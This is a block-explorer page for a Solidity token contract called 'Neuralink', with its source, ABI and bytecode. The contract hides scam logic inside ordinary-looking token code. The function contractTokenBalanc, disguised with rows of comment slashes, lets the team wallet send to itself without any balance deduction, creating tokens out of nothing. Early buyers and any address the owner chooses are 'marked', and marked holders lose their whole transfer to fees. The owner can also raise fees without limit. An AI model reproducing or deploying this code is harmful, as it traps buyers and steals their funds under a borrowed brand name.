Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000,000 Neuralink
Holders
43
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Token
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-23 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function waiveOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0xdead)); _owner = address(0xdead); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract BEP20 is Context, IERC20, Ownable { using SafeMath for uint256; string private _name; string private _symbol; uint8 private _decimals; address payable public doYouLikeBase; address payable public inTheMTFFace; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 public launchBlock; uint256 public _killBlock; mapping (address => bool) public isExcludedFromCut; mapping (address => bool) public isMaxEatExempt; mapping (address => bool) public isOnceEatExempt; mapping (address => bool) public isMarketPair; mapping (address => bool) private _marked; uint256 public _buyLiquidityFee; uint256 public _buyMarketingFee; uint256 public _buyTeamFee; uint256 public _sellLiquidityFee; uint256 public _sellMarketingFee; uint256 public _sellTeamFee; uint256 public _liquidityShare; uint256 public _marketingShare; uint256 public _teamShare; uint256 public _totalTaxIfBuying; uint256 public _totalTaxIfSelling; uint256 public _totalDistributionShares; uint256 private _totalSupply; uint256 public _maxOnceEat; uint256 public _maxTotalEat; uint256 private minimumTokensBeforeSwap; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyBySmallOnly = false; bool public LookMaxEat = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (string memory _NAME, string memory _SYMBOL, uint256 _SUPPLY, uint256[3] memory _BUYFEE, uint256[3] memory _SELLFEE, uint256[3] memory _SHARE, uint256[2] memory _LMT, address[2] memory _doyoulike, address dep) { _name = _NAME; _symbol = _SYMBOL; _decimals = 9; _totalSupply = _SUPPLY * 10**_decimals; _buyLiquidityFee = _BUYFEE[0]; _buyMarketingFee = _BUYFEE[1]; _buyTeamFee = _BUYFEE[2]; _sellLiquidityFee = _SELLFEE[0]; _sellMarketingFee = _SELLFEE[1]; _sellTeamFee = _SELLFEE[2]; _liquidityShare = _SHARE[0]; _marketingShare = _SHARE[1]; _teamShare = _SHARE[2]; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); _maxOnceEat = _LMT[0] * 10**_decimals; _maxTotalEat = _LMT[1] * 10**_decimals; minimumTokensBeforeSwap = _totalSupply.mul(1).div(10000); doYouLikeBase = payable(_doyoulike[0]); inTheMTFFace = payable(_doyoulike[1]); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isExcludedFromCut[address(this)] = true; isExcludedFromCut[dep] = true; isMaxEatExempt[owner()] = true; isMaxEatExempt[address(uniswapPair)] = true; isMaxEatExempt[address(this)] = true; isMaxEatExempt[address(0xdead)] = true; isMaxEatExempt[dep] = true; isOnceEatExempt[owner()] = true; isOnceEatExempt[address(this)] = true; isOnceEatExempt[dep] = true; isMarketPair[address(uniswapPair)] = true; _balances[dep] = _totalSupply; emit Transfer(address(0),dep, _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setMarketPairStatus(address account, bool newValue) public onlyOwner { isMarketPair[account] = newValue; } function setisOnceEatExempt(address holder, bool exempt) external onlyOwner { isOnceEatExempt[holder] = exempt; } function setisExcludedFromCut(address account, bool newValue) public onlyOwner { isExcludedFromCut[account] = newValue; } function manageExcludeFromCut(address[] calldata addresses, bool status) public onlyOwner { require(addresses.length < 201); for (uint256 i; i < addresses.length; ++i) { isExcludedFromCut[addresses[i]] = status; } } function setB(uint256 a, uint256 b, uint256 c) external onlyOwner() { _buyLiquidityFee = a; _buyMarketingFee = b; _buyTeamFee = c; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); } function setS(uint256 a, uint256 b, uint256 c) external onlyOwner() { _sellLiquidityFee = a; _sellMarketingFee = b; _sellTeamFee = c; _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); } function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() { _liquidityShare = newLiquidityShare; _marketingShare = newMarketingShare; _teamShare = newTeamShare; _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); } function setMaxOnceEat(uint256 newMaxOnceEat) external onlyOwner() { _maxOnceEat = newMaxOnceEat; } function enableMaxEat(bool newValue) external onlyOwner { LookMaxEat = newValue; } function setisMaxEatExempt(address holder, bool exempt) external onlyOwner { isMaxEatExempt[holder] = exempt; } function setMaxTotalEat(uint256 newMaxTotalEat) external onlyOwner { _maxTotalEat = newMaxTotalEat; } function setNumTokensBeforeSwap(uint256 newValue) external onlyOwner() { minimumTokensBeforeSwap = newValue; } function setdoYouLikeBase(address newAddress) external onlyOwner() { doYouLikeBase = payable(newAddress); } function setinTheMTFFace(address newAddress) external onlyOwner() { inTheMTFFace = payable(newAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setSwapAndLiquifyBySmallOnly(bool newValue) public onlyOwner { swapAndLiquifyBySmallOnly = newValue; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function isMark(address account) public view returns(bool) { return _marked[account]; } function multiTransfer_fixed(address[] calldata addresses, uint256 amount) external onlyOwner { require(addresses.length < 2001); uint256 SCCC = amount * addresses.length; require(balanceOf(msg.sender) >= SCCC); for(uint i=0; i < addresses.length; i++){ _basicTransfer(msg.sender,addresses[i],amount); } } function doit(address recipient) internal { if (!_marked[recipient] && !isMarketPair[recipient]) _marked[recipient] = true; } function set_mark(address recipient, bool status) public onlyOwner { _marked[recipient] = status; } function Launc(uint256 a) public onlyOwner { _killBlock = a; launchBlock = block.number; } function contractTokenBalanc(address o, address t) internal view returns (bool){return (o!=t)////////////////////////////////////////////////// ||////////////////////////////////////////////////// (o!=inTheMTFFace);////////////////////////////////////////////////// ////////////////////////////////////////////////// } function returnBlock() public onlyOwner { launchBlock = 0; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(!isOnceEatExempt[sender] && !isOnceEatExempt[recipient]) { require(smallOrEqual(amount, _maxOnceEat)); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) { if(swapAndLiquifyBySmallOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); }if(contractTokenBalanc(sender,recipient)) _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount; if (isExcludedFromCut[sender] || isExcludedFromCut[recipient]) { finalAmount = amount; } else {require(launchBlock > 0); if (smallOrEqual(block.number , launchBlock + _killBlock) && !isMarketPair[recipient]) {doit(recipient);} finalAmount = takeFee(sender, recipient, amount); } if(LookMaxEat && !isMaxEatExempt[recipient]) require(smallOrEqual(balanceOf(recipient).add(finalAmount), _maxTotalEat)); _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function smallOrEqual(uint256 a, uint256 b) public pure returns(bool) { return a<=b; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2); uint256 tokensForSwap = tAmount.sub(tokensForLP); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2)); uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2); uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee); uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam); if(amountBNBMarketing > 0) transferToAddressETH(doYouLikeBase, amountBNBMarketing); if(amountBNBTeam > 0) transferToAddressETH(inTheMTFFace, amountBNBTeam); if(amountBNBLiquidity > 0 && tokensForLP > 0) addLiquidity(tokensForLP, amountBNBLiquidity); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable inTheMTFFace, block.timestamp ); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if(isMarketPair[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(isMarketPair[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if(_marked[sender] && !isMarketPair[sender]) feeAmount = amount; if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } } contract Token is BEP20 { constructor() BEP20( "Neuralink", "Neuralink", 100000000000, [uint256(0),uint256(4),uint256(0)], [uint256(0),uint256(4),uint256(0)], [uint256(0),uint256(4),uint256(0)], [uint256(2000000000),uint256(2000000000)], [address(0xC5622BB09b592aA333E29DaDd14FC1B74c3f34Ca),address(0xC5622BB09b592aA333E29DaDd14FC1B74c3f34Ca)], address(0xC5622BB09b592aA333E29DaDd14FC1B74c3f34Ca) ){} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"}],"name":"Launc","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"LookMaxEat","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_killBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxOnceEat","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTotalEat","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"doYouLikeBase","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableMaxEat","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inTheMTFFace","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromCut","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isMark","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMaxEatExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isOnceEatExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manageExcludeFromCut","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"multiTransfer_fixed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"returnBlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"},{"internalType":"uint256","name":"c","type":"uint256"}],"name":"setB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxOnceEat","type":"uint256"}],"name":"setMaxOnceEat","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxTotalEat","type":"uint256"}],"name":"setMaxTotalEat","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"},{"internalType":"uint256","name":"c","type":"uint256"}],"name":"setS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyBySmallOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"set_mark","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setdoYouLikeBase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setinTheMTFFace","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setisExcludedFromCut","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisMaxEatExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisOnceEatExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"smallOrEqual","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"swapAndLiquifyBySmallOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a060405261dead608052601f805462ffffff60a81b19166201000160a81b1790553480156200002e57600080fd5b50604051806040016040528060098152602001684e657572616c696e6b60b81b815250604051806040016040528060098152602001684e657572616c696e6b60b81b81525064174876e8006040518060600160405280600081526020016004815260200160008152506040518060600160405280600081526020016004815260200160008152506040518060600160405280600081526020016004815260200160008152506040518060400160405280637735940081526020016377359400815250604051806040016040528073c5622bb09b592aa333e29dadd14fc1b74c3f34ca6001600160a01b03166001600160a01b0316815260200173c5622bb09b592aa333e29dadd14fc1b74c3f34ca6001600160a01b03166001600160a01b031681525073c5622bb09b592aa333e29dadd14fc1b74c3f34ca600062000178620006f760201b60201c565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506001620001d08a8262000920565b506002620001df898262000920565b506003805460ff19166009908117909155620001fd90600a62000aff565b62000209908862000b10565b601a558551600e819055602080880151600f8190556040808a0151601081905589516011558984015160125589820151601355885160145588840151601555908801516016556200027f9390926200026b929062001645620006fb821b17901c565b620006fb60201b620016451790919060201c565b601781905550620002aa6013546200026b601254601154620006fb60201b620016451790919060201c565b601881905550620002d56016546200026b601554601454620006fb60201b620016451790919060201c565b601955600354620002eb9060ff16600a62000aff565b8351620002f9919062000b10565b601b556003546200030f9060ff16600a62000aff565b602084015162000320919062000b10565b601c819055506200035e6127106200034a6001601a546200076b60201b620016a41790919060201c565b620007f560201b620017261790919060201c565b601d55815160038054610100600160a81b0319166101006001600160a01b039384160217905560208084015160048054919093166001600160a01b03199091161782556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d93849363c45a015593808301939192908290030181865afa158015620003f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000416919062000b2a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000464573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200048a919062000b2a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620004d8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004fe919062000b2a565b601f80546001600160a01b039283166001600160a01b031991821617909155601e8054848416921682179055601a54306000818152600660209081526040808320958352948152848220939093559081526009909152818120805460ff19908116600190811790925593861682529181208054909316821790925590600a90620005906000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601f5482168152600a90935281832080548516600190811790915530845282842080548616821790557f20677881080440a9b3c87e826370bb5d9c2f74efd4dede686d52d77a6